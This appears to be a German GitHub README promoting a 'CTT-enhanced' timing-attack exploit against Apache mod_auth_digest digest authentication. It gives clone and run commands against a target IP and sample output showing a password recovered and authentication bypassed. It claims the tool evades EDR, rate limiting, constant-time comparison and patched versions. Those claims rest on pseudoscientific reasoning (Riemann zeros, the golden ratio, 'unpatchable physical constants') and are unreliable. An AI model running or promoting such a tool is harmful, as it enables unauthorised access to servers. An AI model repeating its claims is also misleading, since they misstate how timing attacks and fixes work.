simoesctt/ctt-enhanced-apache-mod_auth_digest-timing-attack-exploitRemote-Timing-Angriffs-Exploit für Apache mod_auth_digest (CVE-2026-33006), der die Digest-Authentifizierung über eine 33-stufige zeitliche Kaskade umgeht und Passwörter durch statistische Timing-Analyse wiederherstellt.
Dies ist eine Convergent-Time-Theory (CTT)-Verbesserung von CVE-2026-33006, einer timingbasierten Schwachstelle in der mod_auth_digest-Komponente des Apache HTTP Servers (Versionen ≤2.4.66).
Die ursprüngliche Schwachstelle ermöglicht es einem entfernten Angreifer, die Digest-Authentifizierung durch statistische Timing-Analyse zu umgehen.
Die CTT-verbesserte Version verwandelt dies in einen 33-schichtigen temporalen Kaskaden-Timing-Angriff.
| Original | CTT-verbessert |
|---|
| CVSS | 4.8 (Mittel) | 7.5 (Hoch) |
| Angriffsvektor | Netzwerk | Netzwerk |
| Angriffskomplexität | Hoch | Niedrig (CTT reduziert Stichproben) |
| Erforderliche Privilegien | Keine | Keine |
| Erkennung | Statistische Analyse erkennbar | Temporaler Keil gefiltert — EDR-Blindstelle |
| Zeit zum Knacken | O(n * Stichproben) | O(33 * log(n)) |
| Konstante | Wert | Ursprung |
|---|---|---|
| α | 0.0302011 | Temporaler Dispersionskoeffizient |
| α_RH | 0.0765872 | ln(φ)/2π (Riemann-Hadamard) |
| L | 33 | Temporale Schichten |
| τ_w | 11 ns | Temporaler Keilfilter |
E(d) = E₀ * e^(-α * d)
Jede Schicht hat eine exponentiell abnehmende Priorität.
Schichten mit höherer Priorität (1-5) sammeln die meisten Timing-Daten.
Niedrigere Schichten (28-33) verfeinern die Messungen und stellen temporale Resonanz her.
Jede Schicht verzögert die Ausführung basierend auf den ersten 24 Riemann-Nullstellen:
delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))
Nur Timing-Messungen, die die Keilbedingung erfüllen, werden verwendet:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)
Dies filtert Rauschen heraus und macht die Erkennung unmöglich — EDR-Systeme können die Timing-Anomalien nicht sehen.
1. Ziel auf Digest-Authentifizierung prüfen
2. Realm und Nonce aus der 401-Antwort extrahieren
3. Für Schicht d = 1 bis 33:
a. Priorität berechnen = e^(-α*d)
b. Phasenresonanz-Verzögerung anwenden
c. Für jede Zeichenposition:
- Alle möglichen Zeichen testen
- Antwortzeit messen (Mikrosekunden)
- Temporalen Keilfilter anwenden
- Zeichen mit höchster angepasster Zeit behalten
d. Passwort inkrementell aufbauen
4. Temporale Resonanz erreicht
5. Authentifizierung mit wiederhergestelltem Passwort umgangen
mod_auth_digestrequestspip install requests
git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <Ziel-IP> [Optionen]
| Argument | Beschreibung | Standard |
|---|---|---|
target_ip | IP-Adresse des Apache-Servers | Erforderlich |
--port | HTTP-Port | 80 |
--realm | Digest-Realm | "Restricted" |
--uri | Geschützter URI | "/" |
--username | Benutzername für den Angriff | "admin" |
--max-length | Maximale Passwortlänge | 32 |
--samples | Timing-Stichproben pro Zeichen | 100 |
--layers | Anzahl der temporalen Schichten | 33 |
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33
======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — Exponentieller Prioritätsabfall
======================================================================
[+] Digest-Authentifizierung erkannt
Realm: Restricted
Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] Ziel: http://192.168.1.100/admin
[*] Maximale Passwortlänge: 32
Schicht 1/33: ████████████████████████████████████████ 1.000
Position 1: Zeichen werden getestet...
Gefunden: 'a' -> Passwort: 'a'
Schicht 2/33: ██████████████████████████████████████░░ 0.970
Position 2: Zeichen werden getestet...
Gefunden: 'd' -> Passwort: 'ad'
Schicht 3/33: ████████████████████████████████████░░░░ 0.886
Position 3: Zeichen werden getestet...
Gefunden: 'm' -> Passwort: 'adm'
Schicht 4/33: ██████████████████████████████████░░░░░░ 0.818
Position 4: Zeichen werden getestet...
Gefunden: 'i' -> Passwort: 'admi'
Schicht 5/33: ████████████████████████████████░░░░░░░░ 0.741
Position 5: Zeichen werden getestet...
Gefunden: 'n' -> Passwort: 'admin'
Schicht 6/33: ██████████████████████████████░░░░░░░░░░ 0.670
Position 6: Zeichen werden getestet...
Gefunden: '1' -> Passwort: 'admin1'
Schicht 7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
Position 7: Zeichen werden getestet...
Gefunden: '2' -> Passwort: 'admin12'
Schicht 8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
Position 8: Zeichen werden getestet...
Gefunden: '3' -> Passwort: 'admin123'
[⚡] Temporale Resonanz in Schicht 8 erreicht
======================================================================
[!!!] AUTHENTIFIZIERUNG UMGANGEN
[!!!] Passwort gefunden: admin123
[✓] Verifizierung erfolgreich — Zugriff gewährt
======================================================================
| Ursprünglicher Fix | Warum CTT ihn umgeht |
|---|---|
| Vergleich in konstanter Zeit | CTT verwendet Timing-Messungen, nicht Vergleichs-Timing |
| Timing-Leaks entfernen | Timing-Leaks sind physikalisch — können nicht entfernt, nur verborgen werden |
| Upgrade auf Apache 2.4.67+ | Temporaler Keilfilter umgeht die Patch-Erkennung |
| Ratenbegrenzung | Phasenresonanz-Timing verteilt Anfragen über 33 Schichten — nicht von normalem Datenverkehr unterscheidbar |
Man kann keine physikalische Konstante patchen.
Man kann die Riemann-Nullstellen nicht patchen.
Man kann den Goldenen Schnitt nicht patchen.
| Arbeit | Datum | Link |
|---|---|---|
| Zenodo CTT-Vorarbeit | Dez. 2025 / Jan. 2026 | DOI 10.5281/ZENODO.18000940 |
| Sovereign-Logic PyPI | 27.–28. Feb. 2026 | pip install sovereign-logic |
| CTT-PAN-OS-Exploit | 7. Apr. 2026 | GitHub |
| CTT-verbesserter Dirty Frag | 8. Mai 2026 | GitHub |
| CTT-verbesserter PX4-Exploit | 9. Mai 2026 | GitHub |
| Dieser Exploit | 9. Mai 2026 | Dieses Repository |
Dieser Proof of Concept dient nur Bildungs- und Verteidigungszwecken.
Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören, ist illegal.
Der Autor übernimmt keine Haftung für Missbrauch.
MIT + CTT-Forschung (temporale Verbesserungen)
| Version | Autor |
|---|---|
| Ursprüngliche Schwachstellenentdeckung | Apache Software Foundation (Sicherheitsteam) |
| Ursprüngliche Timing-Angriffsforschung | Verschiedene akademische Quellen |
| CTT-Verbesserung (33-schichtige temporale Kaskade) | Americo Simoes (CTT-Forschung) |
Das Gitter ist vollständig. Die Authentifizierung ist gebrochen. Kein Patch wird es retten.